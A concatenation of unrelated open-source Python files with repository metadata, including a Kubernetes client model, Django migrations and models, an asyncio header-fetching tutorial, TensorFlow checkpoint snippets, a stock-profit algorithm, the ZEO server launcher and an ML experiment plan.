6c66c9464423da9126cd1786a1a8d2b186fe4809
[ "Apache-2.0" ]
permissive
MorningSong/python
bdd8b9d60b7c2185457fc1bbbc64d098f9682981
ae7b5ddd219fe09b6ed0be715dcca3377a029584
refs/heads/master
2023-08-30T14:41:41.582335
2023-08-23T16:15:28
2023-08-23T16:15:28
139,396,247
0
0
Apache-2.0
2023-09-14T00:11:24
2018-07-02T05:47:43
Python
UTF-8
Python
false
false
4,167
py
# coding: utf-8 """ Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: release-1.27 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from kubernetes.client.configuration import Configuration class V1alpha2PodSchedulingContextStatus(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'resource_claims': 'list[V1alpha2ResourceClaimSchedulingStatus]' } attribute_map = { 'resource_claims': 'resourceClaims' } def __init__(self, resource_claims=None, local_vars_configuration=None): # noqa: E501 """V1alpha2PodSchedulingContextStatus - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._resource_claims = None self.discriminator = None if resource_claims is not None: self.resource_claims = resource_claims @property def resource_claims(self): """Gets the resource_claims of this V1alpha2PodSchedulingContextStatus. # noqa: E501 ResourceClaims describes resource availability for each pod.spec.resourceClaim entry where the corresponding ResourceClaim uses \"WaitForFirstConsumer\" allocation mode. # noqa: E501 :return: The resource_claims of this V1alpha2PodSchedulingContextStatus. # noqa: E501 :rtype: list[V1alpha2ResourceClaimSchedulingStatus] """ return self._resource_claims @resource_claims.setter def resource_claims(self, resource_claims): """Sets the resource_claims of this V1alpha2PodSchedulingContextStatus. ResourceClaims describes resource availability for each pod.spec.resourceClaim entry where the corresponding ResourceClaim uses \"WaitForFirstConsumer\" allocation mode. # noqa: E501 :param resource_claims: The resource_claims of this V1alpha2PodSchedulingContextStatus. # noqa: E501 :type: list[V1alpha2ResourceClaimSchedulingStatus] """ self._resource_claims = resource_claims def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, V1alpha2PodSchedulingContextStatus): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, V1alpha2PodSchedulingContextStatus): return True return self.to_dict() != other.to_dict()
8d44940c93f41db2928de8cf2a87441142228f87
2970291ff52e98915abb47848aeb71517ed1fbab
/Calendar/migrations/0022_auto_20200405_1326.py
bd6f6fb6f31742fecf4543426da49ea7cd50f696
[]
no_license
dannyswolf/MLShop_Django_Service_boook
dd33f4bb0352836897448bc45bbb09b7c49252c2
9ac5f85468487a53465e244ba31b9bc968300783
refs/heads/master
2023-07-15T15:06:53.298042
2021-08-29T11:49:42
2021-08-29T11:49:42
255,998,699
0
0
null
null
null
null
UTF-8
Python
false
false
428
py
# Generated by Django 3.0.4 on 2020-04-05 13:26 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('Calendar', '0021_auto_20200405_1321'), ] operations = [ migrations.AlterField( model_name='calendar', name='ฮฃฮทฮผฮตฮนฯŽฯƒฮตฮนฯ‚', field=models.CharField(blank=True, max_length=5000, null=True), ), ]
3fd7a3e0404f2751c89dc996684f5666f37c08be
b29acb2e230b3cf2f8be070850c34ed5d62dc80c
/Python/YPS/Rensyu/02/Sample3.py
e3bfe084639a71fc6f70ae86c31e8c018820e106
[]
no_license
MasatakaShibataSS/lesson
be6e3557c52c6157b303be268822cad613a7e0f7
4f3f81ba0161b820410e2a481b63a999d0d4338c
refs/heads/master
2020-06-17T13:42:08.383167
2019-11-11T07:23:14
2019-11-11T07:23:14
195,940,605
0
0
null
null
null
null
UTF-8
Python
false
false
45
py
print(1,"\t",2,"\t",3,"\t",4,"\t",5,"\t",6)
a2dc7d962e925ae61393016853778208544ae2cf
361459069b1b2eb5adb180d1f61241742d2fbcd8
/chapter19/web_connect_test.py
fce8848c7c0dfe21207a76daa684fa204abaff31
[]
no_license
tangkaiyang/python3_laioxuefeng
1704e72163aa55ce177e5b7a88a3e7501b415ceb
02400db01f144417ef202e6c135561c304cacb3a
refs/heads/master
2020-04-28T15:13:17.163004
2019-08-06T07:53:18
2019-08-06T07:53:18
175,364,941
0
0
null
null
null
null
UTF-8
Python
false
false
811
py
# -*- coding:UTF-8 -*- # ็”จasyncio็š„ๅผ‚ๆญฅ็ฝ‘็ปœ่ฟžๆŽฅๆฅ่Žทๅ–sina,sohuๅ’Œ163็š„็ฝ‘็ซ™้ฆ–้กต: import asyncio @asyncio.coroutine def wget(host): print('wget %s...' % host) connect = asyncio.open_connection(host, 80) reader, writer = yield from connect header = 'GET / HTTP/1.0\r\nHost: %s\r\n\r\n' % host writer.write(header.encode('utf-8')) yield from writer.drain() while True: line = yield from reader.readline() if line == b'\r\n': break print('%s header > %s' % (host, line.decode('utf-8').rstrip())) # Ignore the body, close the socket writer.close() loop = asyncio.get_event_loop() tasks = [wget(host) for host in ['www.sina.com.cn', 'www.sohu.com', 'www.163.com']] loop.run_until_complete(asyncio.wait(tasks)) loop.close()
e45eaf86cbf8d480bd4e852ab5145b3d56778d7c
9ed7bd97e2140c69091aef63a8de1991e3bc7f3d
/้€’ๅฝ’/็ฎ€ๅ•้€’ๅฝ’ไพ‹ๅญ.py
8eb57c77374ff9d8e0a81030c185d1bed6d231e9
[]
no_license
EruDev/Learn_Algorithms
d8a422d02f000ba428bc05f80cdf40860504946a
71c98599d84a33727fc434826bab800311053d8e
refs/heads/master
2020-03-15T12:42:22.625351
2018-07-30T02:30:04
2018-07-30T02:30:04
132,150,091
1
2
null
null
null
null
UTF-8
Python
false
false
136
py
# coding: utf-8 def countdown(i): if i < 0: return else: countdown(i - 1) print(i) if __name__ == '__main__': countdown(100)
5ebb0f015b2b66dbb1ada9d1c3bad2a6bbb95c6b
64660f7d708569135777d3ae429feed513f5d87f
/notebooks/_solutions/case1_bike_count1.py
9bc481413fb41dc095a79972c617ecce99abad64
[ "BSD-3-Clause" ]
permissive
jorisvandenbossche/DS-python-data-analysis
ea8fd46e9160d00be8550aa8d87ea33146161b54
be5d5030e891590990f9044ac66b116799d83fe5
refs/heads/main
2022-12-13T03:53:52.365280
2022-12-04T18:54:39
2022-12-04T18:54:39
73,628,771
87
67
BSD-3-Clause
2022-12-12T15:00:28
2016-11-13T16:39:51
Jupyter Notebook
UTF-8
Python
false
false
59
py
df = pd.read_csv("data/fietstellingencoupure.csv", sep=';')
32e507dd74d087d7274fd08b3587e4d135fa1fbe
a9063fd669162d4ce0e1d6cd2e35974274851547
/test/test_tsp_account1.py
4676fce503d1768ca6306fed2f92039a0e1746ba
[]
no_license
rootalley/py-zoom-api
9d29a8c750e110f7bd9b65ff7301af27e8518a3d
bfebf3aa7b714dcac78be7c0affb9050bbce8641
refs/heads/master
2022-11-07T14:09:59.134600
2020-06-20T18:13:50
2020-06-20T18:13:50
273,760,906
1
3
null
null
null
null
UTF-8
Python
false
false
1,376
py
# coding: utf-8 """ Zoom API The Zoom API allows developers to safely and securely access information from Zoom. You can use this API to build private services or public applications on the [Zoom App Marketplace](http://marketplace.zoom.us). To learn how to get your credentials and create private/public applications, read our [Authorization Guide](https://marketplace.zoom.us/docs/guides/authorization/credentials). All endpoints are available via `https` and are located at `api.zoom.us/v2/`. For instance you can list all users on an account via `https://api.zoom.us/v2/users/`. # noqa: E501 OpenAPI spec version: 2.0.0 Contact: [email protected] Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import swagger_client from models.tsp_account1 import TSPAccount1 # noqa: E501 from swagger_client.rest import ApiException class TestTSPAccount1(unittest.TestCase): """TSPAccount1 unit test stubs""" def setUp(self): pass def tearDown(self): pass def testTSPAccount1(self): """Test TSPAccount1""" # FIXME: construct object with mandatory attributes with example values # model = swagger_client.models.tsp_account1.TSPAccount1() # noqa: E501 pass if __name__ == '__main__': unittest.main()
9cc8e243ecb51f23f2139ee75bf881a59f3830bf
c557bfe571bb82b0d3296125325d55a4ebdb4273
/rcsslurmfollowup/urls.py
e3b6e75136207f0ce09754c72b176130667e673f
[]
no_license
scottcoughlin2014/rcsslurmfollowup
b620675e44fb418997d59b732ecd2a5654ef15df
1478ff6c103395f1a3dbd6dec8414f46b948ac5d
refs/heads/master
2023-08-18T18:03:58.635212
2021-10-14T13:45:31
2021-10-14T13:45:31
290,794,247
0
0
null
null
null
null
UTF-8
Python
false
false
758
py
"""rcsslurmfollowup URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path urlpatterns = [ path('admin/', admin.site.urls), ]
5cf7b38d124d0c0e7bf9b0f518fef34621713742
576cc83449e10fd3f98281970c46016ea7a5aea2
/Tensorflow/CNN/ๆจกๅž‹็š„ไฟๅญ˜ไธŽๆขๅค.py
5afbe1506eead1e2b7385c4097be42da24c579d7
[]
no_license
HotView/PycharmProjects
215ab9edd341e3293daebcf86d97537f8cd28d75
61393fe5ba781a8c1216a5cbe7e0d06149a10190
refs/heads/master
2020-06-02T07:41:53.608742
2019-11-13T08:31:57
2019-11-13T08:31:57
191,085,178
3
2
null
null
null
null
UTF-8
Python
false
false
578
py
import tensorflow as tf ## ๆจกๅž‹็š„ไฟๅญ˜ save_path ='...' saver = tf.train.Saver() sess = tf.Session() saver.save(sess,save_path) ## ๆจกๅž‹็š„ๆขๅค save_path = ".." saver = tf.train.Saver() sess= tf.Session() saver.restore(sess,save_path) ## ๅคšๆฌกๆจกๅž‹็š„ไฟๅญ˜ๅ’Œๆขๅค save_path = ".." saver = tf.train.Saver() sess= tf.Session() epoch = 5 n =None if epoch%n==0: saver.save(sess,save_path,global_step=epoch) ## ๆขๅคๆœ€ๆ–ฐ็š„ๆจกๅž‹ save_path = ".." model = tf.train.latest_checkpoint(save_path) saver = tf.train.Saver() sess= tf.Session() saver.restore(sess,model)
b9fc0aa48976be5a27682e1ba77b1e50abc59b40
be3c759bd915887a384d1ef437ebf7277c75bd06
/DynamicProgramming/BestTimeToBuyAndSellStock.py
dbf1090d26ca00a049bf614f03d64d5d63303251
[]
no_license
yistar-traitor/LeetCode
c24411763d541b6eaf9ccc344c3fd24f9a00e633
0dd48b990f8bd0874630b1860361c6b3b2c801f6
refs/heads/master
2020-09-28T20:46:45.016872
2019-12-18T02:25:34
2019-12-18T02:25:34
226,861,515
0
0
null
2019-12-18T02:25:36
2019-12-09T12:04:01
null
UTF-8
Python
false
false
2,292
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/8/24 0:03 # @Author : tc # @File : BestTimeToBuyAndSellStock.py """ ็ป™ๅฎšไธ€ไธชๆ•ฐ็ป„๏ผŒๅฎƒ็š„็ฌฌย i ไธชๅ…ƒ็ด ๆ˜ฏไธ€ๆ”ฏ็ป™ๅฎš่‚ก็ฅจ็ฌฌ i ๅคฉ็š„ไปทๆ ผใ€‚ ๅฆ‚ๆžœไฝ ๆœ€ๅคšๅชๅ…่ฎธๅฎŒๆˆไธ€็ฌ”ไบคๆ˜“๏ผˆๅณไนฐๅ…ฅๅ’Œๅ–ๅ‡บไธ€ๆ”ฏ่‚ก็ฅจ๏ผ‰๏ผŒ่ฎพ่ฎกไธ€ไธช็ฎ—ๆณ•ๆฅ่ฎก็ฎ—ไฝ ๆ‰€่ƒฝ่Žทๅ–็š„ๆœ€ๅคงๅˆฉๆถฆใ€‚ ๆณจๆ„ไฝ ไธ่ƒฝๅœจไนฐๅ…ฅ่‚ก็ฅจๅ‰ๅ–ๅ‡บ่‚ก็ฅจ Input1:[7,1,5,3,6,4] Output1:5 ่งฃ้‡Š: ๅœจ็ฌฌ 2 ๅคฉ๏ผˆ่‚ก็ฅจไปทๆ ผ = 1๏ผ‰็š„ๆ—ถๅ€™ไนฐๅ…ฅ๏ผŒๅœจ็ฌฌ 5 ๅคฉ๏ผˆ่‚ก็ฅจไปทๆ ผ = 6๏ผ‰็š„ๆ—ถๅ€™ๅ–ๅ‡บ๏ผŒๆœ€ๅคงๅˆฉๆถฆ = 6-1 = 5 ใ€‚ ๆณจๆ„ๅˆฉๆถฆไธ่ƒฝๆ˜ฏ 7-1 = 6, ๅ› ไธบๅ–ๅ‡บไปทๆ ผ้œ€่ฆๅคงไบŽไนฐๅ…ฅไปทๆ ผใ€‚ Input1:[7,6,4,3,1] Output1:0 ่งฃ้‡Š: ๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹, ๆฒกๆœ‰ไบคๆ˜“ๅฎŒๆˆ, ๆ‰€ไปฅๆœ€ๅคงๅˆฉๆถฆไธบ 0ใ€‚ ๆ็คบ:ๅŠจๆ€่ง„ๅˆ’ ๅ‰iๅคฉ็š„ๆœ€ๅคงๆ”ถ็›Š = max{ๅ‰i-1ๅคฉ็š„ๆœ€ๅคงๆ”ถ็›Š๏ผŒ็ฌฌiๅคฉ็š„ไปทๆ ผ-ๅ‰i-1ๅคฉไธญ็š„ๆœ€ๅฐไปทๆ ผ} ไผ˜ๅŒ–ๅŽ็š„ไปฃ็ ็œŸไผ˜้›… """ #่งฃๆณ•1 def maxProfit(prices): m = len(prices) if m in [0,1]: return 0 dp = [0] * m min_buy = float('inf') for i in range(m-1): min_buy = min(min_buy, prices[i]) if prices[i+1] >= prices[i]: dp[i+1] = max(dp[i], prices[i+1] - min_buy) else: dp[i+1] = dp[i] return dp[-1] #ไผ˜ๅŒ–ๅŽ def maxProfit2(prices): min_p, max_p = 999999, 0 for i in range(len(prices)): min_p = min(min_p, prices[i]) max_p = max(max_p, prices[i] - min_p) return max_p #่งฃๆณ•ไบŒ:ๅˆฉ็”จ็Šถๆ€ๆœบๅ…ทไฝ“ๅ‚่€ƒๅซๆ‰‹็ปญ่ดน้‚ฃ้ข˜ """ ็Šถๆ€่ฝฌ็งป: ๆ‰‹้‡ŒๆŒๆœ‰่‚ก็ฅจ -> ่ง‚ๆœ› -> ๆ‰‹้‡Œๆœ‰่‚ก็ฅจ ๆ‰‹้‡Œๆฒกๆœ‰่‚ก็ฅจ -> ไนฐๅ…ฅ -> ๆ‰‹้‡Œๆœ‰่‚ก็ฅจ ๆ‰‹้‡ŒๆŒๆœ‰่‚ก็ฅจ -> ๆŠ›ๅ‡บ -> ๆ‰‹้‡Œๆฒกๆœ‰่‚ก็ฅจ ๆ‰‹้‡Œๆฒกๆœ‰่‚ก็ฅจ -> ่ง‚ๆœ› -> ๆ‰‹้‡Œๆฒกๆœ‰่‚ก็ฅจ """ def maxProfit3(prices): m = len(prices) if not m: return 0 dp_hold = [0] * m dp_cash = [0] * m dp_hold[0] = -prices[0] for i in range(1, m): dp_hold[i] = max(dp_hold[i - 1], -prices[i]) #ๆณจๆ„่ฟ™้‡Œ,็”ฑไบŽๅชๆœ‰ไธ€ๆฌกไนฐๅ…ฅๅ’ŒๆŠ›ๅ‡บ็š„ๆœบไผš,ๆ‰€ไปฅๆ‰‹้‡ŒๆŒๆœ‰่‚ก็ฅจ็š„ๆœ€ๅคงๆ”ถ็›Šๅฐฑๆ˜ฏ่ดญไนฐ่ฏฅ่‚ก็ฅจ็š„ๆˆๆœฌ dp_cash[i] = max(dp_cash[i - 1],dp_hold[i -1] + prices[i]) return dp_cash[-1] if __name__ == '__main__': prices = [7,6,4,3,1] print(maxProfit(prices))
93b9d5e73f675c4943a5c8250169cb72213f4ca8
08acec95bd1dc302633fadf7b47cd8ba3b749ff3
/day-2018-04-02/myproject/venv/lib/python2.7/site-packages/ZEO/tests/ZEO4/runzeo.py
f8cb989b0151a6207e0113ed2de2da821bb8c934
[]
no_license
WeAreHus/StudyRecord
74a312103ad2c037de23534160fa42d6a68ad174
047b7d9dcbee7c01ad2e8b888b160e66dfa9012d
refs/heads/master
2022-12-16T14:47:15.984939
2019-04-29T15:16:15
2019-04-29T15:16:15
127,758,387
2
1
null
2022-11-22T02:50:30
2018-04-02T13:15:07
Python
UTF-8
Python
false
false
14,056
py
############################################################################## # # Copyright (c) 2001, 2002, 2003 Zope Foundation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE # ############################################################################## """Start the ZEO storage server. Usage: %s [-C URL] [-a ADDRESS] [-f FILENAME] [-h] Options: -C/--configuration URL -- configuration file or URL -a/--address ADDRESS -- server address of the form PORT, HOST:PORT, or PATH (a PATH must contain at least one "/") -f/--filename FILENAME -- filename for FileStorage -t/--timeout TIMEOUT -- transaction timeout in seconds (default no timeout) -h/--help -- print this usage message and exit -m/--monitor ADDRESS -- address of monitor server ([HOST:]PORT or PATH) --pid-file PATH -- relative path to output file containing this process's pid; default $(INSTANCE_HOME)/var/ZEO.pid but only if envar INSTANCE_HOME is defined Unless -C is specified, -a and -f are required. """ from __future__ import print_function from __future__ import print_function # The code here is designed to be reused by other, similar servers. # For the forseeable future, it must work under Python 2.1 as well as # 2.2 and above. import asyncore import os import sys import signal import socket import logging import ZConfig.datatypes from zdaemon.zdoptions import ZDOptions logger = logging.getLogger('ZEO.runzeo') _pid = str(os.getpid()) def log(msg, level=logging.INFO, exc_info=False): """Internal: generic logging function.""" message = "(%s) %s" % (_pid, msg) logger.log(level, message, exc_info=exc_info) def parse_binding_address(arg): # Caution: Not part of the official ZConfig API. obj = ZConfig.datatypes.SocketBindingAddress(arg) return obj.family, obj.address def windows_shutdown_handler(): # Called by the signal mechanism on Windows to perform shutdown. import asyncore asyncore.close_all() class ZEOOptionsMixin(object): storages = None def handle_address(self, arg): self.family, self.address = parse_binding_address(arg) def handle_monitor_address(self, arg): self.monitor_family, self.monitor_address = parse_binding_address(arg) def handle_filename(self, arg): from ZODB.config import FileStorage # That's a FileStorage *opener*! class FSConfig(object): def __init__(self, name, path): self._name = name self.path = path self.stop = None def getSectionName(self): return self._name if not self.storages: self.storages = [] name = str(1 + len(self.storages)) conf = FileStorage(FSConfig(name, arg)) self.storages.append(conf) testing_exit_immediately = False def handle_test(self, *args): self.testing_exit_immediately = True def add_zeo_options(self): self.add(None, None, None, "test", self.handle_test) self.add(None, None, "a:", "address=", self.handle_address) self.add(None, None, "f:", "filename=", self.handle_filename) self.add("family", "zeo.address.family") self.add("address", "zeo.address.address", required="no server address specified; use -a or -C") self.add("read_only", "zeo.read_only", default=0) self.add("invalidation_queue_size", "zeo.invalidation_queue_size", default=100) self.add("invalidation_age", "zeo.invalidation_age") self.add("transaction_timeout", "zeo.transaction_timeout", "t:", "timeout=", float) self.add("monitor_address", "zeo.monitor_address.address", "m:", "monitor=", self.handle_monitor_address) self.add('auth_protocol', 'zeo.authentication_protocol', None, 'auth-protocol=', default=None) self.add('auth_database', 'zeo.authentication_database', None, 'auth-database=') self.add('auth_realm', 'zeo.authentication_realm', None, 'auth-realm=') self.add('pid_file', 'zeo.pid_filename', None, 'pid-file=') class ZEOOptions(ZDOptions, ZEOOptionsMixin): __doc__ = __doc__ logsectionname = "eventlog" schemadir = os.path.dirname(__file__) def __init__(self): ZDOptions.__init__(self) self.add_zeo_options() self.add("storages", "storages", required="no storages specified; use -f or -C") def realize(self, *a, **k): ZDOptions.realize(self, *a, **k) nunnamed = [s for s in self.storages if s.name is None] if nunnamed: if len(nunnamed) > 1: return self.usage("No more than one storage may be unnamed.") if [s for s in self.storages if s.name == '1']: return self.usage( "Can't have an unnamed storage and a storage named 1.") for s in self.storages: if s.name is None: s.name = '1' break class ZEOServer(object): def __init__(self, options): self.options = options def main(self): self.setup_default_logging() self.check_socket() self.clear_socket() self.make_pidfile() try: self.open_storages() self.setup_signals() self.create_server() self.loop_forever() finally: self.server.close() self.clear_socket() self.remove_pidfile() def setup_default_logging(self): if self.options.config_logger is not None: return # No log file is configured; default to stderr. root = logging.getLogger() root.setLevel(logging.INFO) fmt = logging.Formatter( "------\n%(asctime)s %(levelname)s %(name)s %(message)s", "%Y-%m-%dT%H:%M:%S") handler = logging.StreamHandler() handler.setFormatter(fmt) root.addHandler(handler) def check_socket(self): if (isinstance(self.options.address, tuple) and self.options.address[1] is None): self.options.address = self.options.address[0], 0 return if self.can_connect(self.options.family, self.options.address): self.options.usage("address %s already in use" % repr(self.options.address)) def can_connect(self, family, address): s = socket.socket(family, socket.SOCK_STREAM) try: s.connect(address) except socket.error: return 0 else: s.close() return 1 def clear_socket(self): if isinstance(self.options.address, type("")): try: os.unlink(self.options.address) except os.error: pass def open_storages(self): self.storages = {} for opener in self.options.storages: log("opening storage %r using %s" % (opener.name, opener.__class__.__name__)) self.storages[opener.name] = opener.open() def setup_signals(self): """Set up signal handlers. The signal handler for SIGFOO is a method handle_sigfoo(). If no handler method is defined for a signal, the signal action is not changed from its initial value. The handler method is called without additional arguments. """ if os.name != "posix": if os.name == "nt": self.setup_win32_signals() return if hasattr(signal, 'SIGXFSZ'): signal.signal(signal.SIGXFSZ, signal.SIG_IGN) # Special case init_signames() for sig, name in signames.items(): method = getattr(self, "handle_" + name.lower(), None) if method is not None: def wrapper(sig_dummy, frame_dummy, method=method): method() signal.signal(sig, wrapper) def setup_win32_signals(self): # Borrow the Zope Signals package win32 support, if available. # Signals does a check/log for the availability of pywin32. try: import Signals.Signals except ImportError: logger.debug("Signals package not found. " "Windows-specific signal handler " "will *not* be installed.") return SignalHandler = Signals.Signals.SignalHandler if SignalHandler is not None: # may be None if no pywin32. SignalHandler.registerHandler(signal.SIGTERM, windows_shutdown_handler) SignalHandler.registerHandler(signal.SIGINT, windows_shutdown_handler) SIGUSR2 = 12 # not in signal module on Windows. SignalHandler.registerHandler(SIGUSR2, self.handle_sigusr2) def create_server(self): self.server = create_server(self.storages, self.options) def loop_forever(self): if self.options.testing_exit_immediately: print("testing exit immediately") else: self.server.loop() def handle_sigterm(self): log("terminated by SIGTERM") sys.exit(0) def handle_sigint(self): log("terminated by SIGINT") sys.exit(0) def handle_sighup(self): log("restarted by SIGHUP") sys.exit(1) def handle_sigusr2(self): # log rotation signal - do the same as Zope 2.7/2.8... if self.options.config_logger is None or os.name not in ("posix", "nt"): log("received SIGUSR2, but it was not handled!", level=logging.WARNING) return loggers = [self.options.config_logger] if os.name == "posix": for l in loggers: l.reopen() log("Log files reopened successfully", level=logging.INFO) else: # nt - same rotation code as in Zope's Signals/Signals.py for l in loggers: for f in l.handler_factories: handler = f() if hasattr(handler, 'rotate') and callable(handler.rotate): handler.rotate() log("Log files rotation complete", level=logging.INFO) def _get_pidfile(self): pidfile = self.options.pid_file # 'pidfile' is marked as not required. if not pidfile: # Try to find a reasonable location if the pidfile is not # set. If we are running in a Zope environment, we can # safely assume INSTANCE_HOME. instance_home = os.environ.get("INSTANCE_HOME") if not instance_home: # If all our attempts failed, just log a message and # proceed. logger.debug("'pidfile' option not set, and 'INSTANCE_HOME' " "environment variable could not be found. " "Cannot guess pidfile location.") return self.options.pid_file = os.path.join(instance_home, "var", "ZEO.pid") def make_pidfile(self): if not self.options.read_only: self._get_pidfile() pidfile = self.options.pid_file if pidfile is None: return pid = os.getpid() try: if os.path.exists(pidfile): os.unlink(pidfile) f = open(pidfile, 'w') print(pid, file=f) f.close() log("created PID file '%s'" % pidfile) except IOError: logger.error("PID file '%s' cannot be opened" % pidfile) def remove_pidfile(self): if not self.options.read_only: pidfile = self.options.pid_file if pidfile is None: return try: if os.path.exists(pidfile): os.unlink(pidfile) log("removed PID file '%s'" % pidfile) except IOError: logger.error("PID file '%s' could not be removed" % pidfile) def create_server(storages, options): from .StorageServer import StorageServer return StorageServer( options.address, storages, read_only = options.read_only, invalidation_queue_size = options.invalidation_queue_size, invalidation_age = options.invalidation_age, transaction_timeout = options.transaction_timeout, monitor_address = options.monitor_address, auth_protocol = options.auth_protocol, auth_database = options.auth_database, auth_realm = options.auth_realm, ) # Signal names signames = None def signame(sig): """Return a symbolic name for a signal. Return "signal NNN" if there is no corresponding SIG name in the signal module. """ if signames is None: init_signames() return signames.get(sig) or "signal %d" % sig def init_signames(): global signames signames = {} for name, sig in signal.__dict__.items(): k_startswith = getattr(name, "startswith", None) if k_startswith is None: continue if k_startswith("SIG") and not k_startswith("SIG_"): signames[sig] = name # Main program def main(args=None): options = ZEOOptions() options.realize(args) s = ZEOServer(options) s.main() if __name__ == "__main__": main()
2eb85d7c15450d4573568b284adfb1ab5a709c2d
d389c87cd0c160a0efad8f6eb1eefc221af35147
/api/models.py
9368acaeaef04b3cffd21f8d4ab6380b1ac3c700
[]
no_license
shotaro0726/drf-vue1
a9bced0c937b03fbd55f5f7e90c945bfadef560f
be68ee78d786029b1f7d3da1490312d6b5c096b0
refs/heads/master
2022-09-03T07:49:23.861354
2020-05-24T12:05:31
2020-05-24T12:05:31
265,808,817
0
0
null
null
null
null
UTF-8
Python
false
false
1,637
py
from django.db import models from user.models import User from markdownx.models import MarkdownxField from markdownx.utils import markdown class Category(models.Model): name = models.CharField(max_length=25, unique=True) post_num = models.IntegerField(default=0, null=False) description = models.TextField(blank=True) def __str__(self): return self.name def get_name(self): return self.name class Post(models.Model): title = models.CharField(max_length=30) content = MarkdownxField() created = models.DateTimeField(auto_now_add=True) author = models.ForeignKey(User, on_delete=models.PROTECT) category = models.ForeignKey(Category, blank=True, null=True, on_delete=models.SET_NULL) class Meta: ordering = ['-created',] def __str__(self): return '{} :: {}'.format(self.title, self.author) def get_absolute_url(self): return '/blog/{}/'.format(self.pk) def get_update_url(self): return self.get_absolute_url() + 'update/' def get_markdown_content(self): return markdown(self.content) class Comment(models.Model): post = models.ForeignKey(Post, related_name='comments', on_delete=models.CASCADE) text = MarkdownxField() authir = models.ForeignKey(User, on_delete=models.CASCADE) created_at = models.DateTimeField(auto_now_add=True) modified_at = models.DateTimeField(auto_now=True) def get_markdown_content(self): return markdown(self.text) def get_absolute_url(self): return self.post.get_absolute_url() + '#commnet-id-{}'.format(self.pk)
a55e9c23dd7f6b0f13a8454e381e54949fe5a30a
9f9f4280a02f451776ea08365a3f119448025c25
/plans/hsppw/qcut_hsp-s_025_pwde_mlpc_hs.py
01b83466a393659ca5738a2724501fe600601146
[ "BSD-2-Clause" ]
permissive
dbis-uibk/hit-prediction-code
6b7effb2313d2499f49b2b14dd95ae7545299291
c95be2cdedfcd5d5c27d0186f4c801d9be475389
refs/heads/master
2023-02-04T16:07:24.118915
2022-09-22T12:49:50
2022-09-22T12:49:50
226,829,436
2
2
null
null
null
null
UTF-8
Python
false
false
2,161
py
"""Plan using all features.""" import os.path from dbispipeline.evaluators import CvEpochEvaluator from sklearn.neural_network import MLPClassifier from sklearn.pipeline import Pipeline from sklearn.preprocessing import MinMaxScaler import hit_prediction_code.common as common from hit_prediction_code.dataloaders import ClassLoaderWrapper from hit_prediction_code.dataloaders import EssentiaLoader from hit_prediction_code.dataloaders import QcutLoaderWrapper import hit_prediction_code.evaluations as evaluations from hit_prediction_code.models.pairwise import PairwiseOrdinalModel from hit_prediction_code.result_handlers import print_results_as_json from hit_prediction_code.transformers.label import compute_hit_score_on_df PATH_PREFIX = 'data/hit_song_prediction_msd_bb_lfm_ab/processed' number_of_classes = 25 dataloader = ClassLoaderWrapper( wrapped_loader=QcutLoaderWrapper( wrapped_loader=EssentiaLoader( dataset_path=os.path.join( PATH_PREFIX, 'hsp-s_acousticbrainz.parquet', ), features=[ *common.all_no_year_list(), ], label='yang_hit_score', nan_value=0, data_modifier=lambda df: compute_hit_score_on_df( df, pc_column='lastfm_playcount', lc_column='lastfm_listener_count', hit_score_column='yang_hit_score', ), ), number_of_bins=number_of_classes, ), labels=list(range(number_of_classes)), ) pipeline = Pipeline([ ('scale', MinMaxScaler()), ('model', PairwiseOrdinalModel( wrapped_model=MLPClassifier( hidden_layer_sizes=(256, 128, 128, 128, 64), verbose=True, ), pairs_factor=3., threshold_type='average', pair_strategy='random', pair_encoding='delta', threshold_sample_training=False, )), ]) evaluator = CvEpochEvaluator( cv=evaluations.cv(), scoring=evaluations.metrics.ordinal_classifier_scoring(), scoring_step_size=1, ) result_handlers = [ print_results_as_json, ]
fd4ef18957b6273d96e7cee67e6f983f534ba7f1
c086a38a366b0724d7339ae94d6bfb489413d2f4
/PythonEnv/Lib/site-packages/kivy/uix/filechooser.py
faf5d9a5ad68a96fd54d972e29097a3321a29a41
[]
no_license
FlowkoHinti/Dionysos
2dc06651a4fc9b4c8c90d264b2f820f34d736650
d9f8fbf3bb0713527dc33383a7f3e135b2041638
refs/heads/master
